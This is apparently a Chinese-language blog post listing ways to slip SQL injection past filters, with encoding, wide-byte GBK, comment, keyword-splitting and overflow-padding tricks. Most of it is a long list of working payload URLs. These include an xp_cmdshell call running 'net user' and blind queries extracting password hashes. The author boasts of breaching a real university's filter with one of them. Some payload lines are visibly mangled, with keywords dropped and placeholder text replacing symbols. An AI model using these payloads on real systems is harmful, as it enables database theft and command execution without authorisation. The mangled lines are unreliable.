SQL注入過濾合集

前言:我們在進行sql注入的過程中進行會遇到各種sql過濾機制,它們對我們sql注入以及後續的滲透測試有著嚴重的干擾,所以我們今天從幾個角度對sql注入過濾進行一個整理。

1.大小寫繞過

大小寫繞過是最簡單的簡單的繞過方法,我們通過修改過濾關鍵詞的大小字母來繞過過濾。

www.aaa.com/index.php?id=1 uNIoN sELecT 1,2,3,4 --+

對於這種大小寫已經絕跡了,我們只能當成一種思路。

2.關鍵字重複寫入

我們在大小寫沒有作用的時候,我們可以使用把被過濾的關鍵字進行二次寫入來繞過過濾。

www.aaa.com/index.php?id=1 UNIunionON SELselectECT 1,2,3,4 --+

Advertisements

對於這個有時候過濾機制會過濾兩次三次,我們構建三次匹配或者四次匹配。

3.編碼繞過

(1).URL編碼

對於編碼也是我們經常使用的一種方法,我們經常用的URL編碼有:空格-->%20,單引號-->%27,左括弧-->%20,右括弧-->%29

www.aaa.com/index.php?id=1%252f%252a*/UNION%252f%252a/SELECT --+

有時候普通的URL編碼可能無法實現繞過不過存在某種情況URL編碼只進行了一次解碼過濾可以用兩次編碼繞過

(2).十六進位編碼編碼

對於十六進位的編碼也是我們在繞過的時候經常用的一種方法,一般我們可以使用hackbar的轉碼功能之間轉碼。

Advertisements

www.aaa.com/index.php?id=1 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) --+

對於轉碼我們分為單個詞轉碼和整句轉碼,我們經常用在一句話和一句話地址的轉碼上。

(3).Unicode編碼

Unicode編碼也是我們用的編碼之一,常見的uniode編碼有:

單引號:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括弧:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括弧:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

www.aaa.com/index.php?id=10%D6'%20AND%201=2%23 --+

本條演示的一個雙位元組的注入,雙位元組注入是編碼注入中的一個主要知識點。

-當滿足兩個條件的時候:一 編碼為 GBK 二 魔術引號開啟,單引號被轉義。我們就可以使用雙位元組注入。

- GBK雙位元組編碼:一個漢字用兩個位元組表示,首位元組對應0x81-0xFE,尾位元組對應0x40-0xFE(除0x7F),剛好涵蓋了對應的編碼0x5C。(0x5c 即是十六進位的 \ 符號)

- 0xd5 0x5c 對應了漢字「誠」,於是 %d5%5c 經URL解碼後為「誠」。 (由0x 變為% 是 URL編碼導致)

- 當我們提交參數 %d5' ,經瀏覽器URL編碼後為%d5%27,再經PHP URL解碼後為 0xd50x27,再經PHP轉義後為0xd50x5c0x27,即就是在0x27(')之前插入了轉義符0x5c(\)。當MySQL採用GBK編碼連接時,0xd50x5c0x27 這一位元組序列就被MySQL作為GBK編碼理解:誠'。 0x27即是十六進位的 ' 單引號,這樣就吃掉了PHP的轉義符,從而突破了單引號轉義的限制。

- 固定用法:%d5%27 或 %d6%27(首位元組 的範圍要在 0x81--0xFE 之間)

4.註釋繞過

(1).普通註釋

註釋繞過應該是我們繞過過濾的好方法,我們經常用的過濾有://, -- , , #, --+,-- -, ;--a 等等

www.aaa.com/index.php?id=1 %55nION**/%53ElecT 1,2,3,4 --+

對於普通註釋已經不能滿足我們了,我們來看看其他的吧。

(2).內聯註釋

我們可以使用內聯註釋序列來創建SQL代碼段,雖然這些代碼看上去雖然在語法上有些怪異,但實際上卻非常有效,能夠避開多種過濾機制。

www.aaa.com/index.php?id=1%0Aall%0A%0A+1,2,3,4 --+

對這條注入我深有體會,我當時用這一句注入突破了國內某財經高校的過濾機制,簡直突破天際,但是也只能說有一定的針對性。

5.函數和特殊字元替換

當有些函數或命令被過濾機制檢測出來而無法使用的時候,我們可以使用與之等價或類似的代碼替代其使用。

1.函數和變數替換

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

(2).符號

and和or有可能不能使用可以試下&&和||能不能用,還有=不能使用的情況可以考慮嘗試<、>因為如果不小於又不大於那便是等於了,再看一下用得很多的空格可以使用 %20 %09 %0a %0b %0c %0d %a0 等來表示。

(3).特殊字元

1.使用反引號`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以將其做註釋符用

2.神奇的"-+.",select+id-1+1.from users; 「+」是用於字元串連接的,」-」和」.」在此也用於連接,可以逃過空格和關鍵字過濾

[email protected]符號,[email protected]^1.from users; @用於變數定義如@var_name,一個@表示用戶定義,@@表示系統變數

4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //繞過空格限制

6.其他繞過

--

相對傳統的方式我們更依賴於非傳統的方式,這些詭異的招式通過可以達到與眾不同的效果,畢竟過濾機制是人寫出來的,但普通人想不到的時候,大牛們寫的繞過就可以突破天際了。

關鍵字拆分

'se'+'lec'+'t'

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')

!和()' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)

緩衝區溢出

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 --+

示例0xA*1000指0xA後面"A"重複1000次一般來說對應用軟體構成緩衝區溢出都需要較大的測試長度這裡1000隻做參考也許在有些情況下可能不需要這麼長也能溢出

其他繞過

有時候其他才是最有用的

+union+distinctROW+select+

UNION

+#uNiOn+#sEleCt

+#1q%0AuNiOn all#qa%0A#%0AsEleCt

+union+select

uni%0bon+se%0blect

%2f**%2funion%2f**%2fselect

union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A

REVERSE(noinu)+REVERSE(tceles)

unionselect

union (/*! SeleCT */ 1,2,3)

+

union+/*!select*

+union+distinctROW+select+

-15+(uNioN)+(sElECt)

-15+(UnI)(oN)+(SeL)(ecT)+

id=1+UnIOnSeLect 1,2,3—

id=1+UNIunionON+SELselectECT 1,2,3—

id=1++ 1,2,3—

id=1 and (select 1)=(Select 0xAA 1000 more A』s)+UnIoN+SeLeCT 1,2,3—

id=1+union+select+1,2,3--

id=1+1,2,3

id=1+unionselectcolumnfromtable--

id=1+unionselect1,2,3--

id=-1 and (select 1)=(Select 0xAA*1000) 1,2,3,4,5,6—x

unionselectcolumnfromtable--

++1,2,3—

+1,2,3—

union+select+1,2,3—

1,2,3—

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123

?page_id=null%0Aall%0A%0A+1,2,

?id=15++++1,version(),3,4,5,6,7--

id=1

總結

繞過的方法多種多樣,不過一般大部分的方法都會失效,所以我們要不斷整理收集,說到繞過就躲不開安全狗和雲鎖,這些安全軟體確實很頭疼,對此剛剛入門的我也是沒有辦法,所以只能待以後技術嫻熟一點進行探索吧。

Advertisements

你可能會喜歡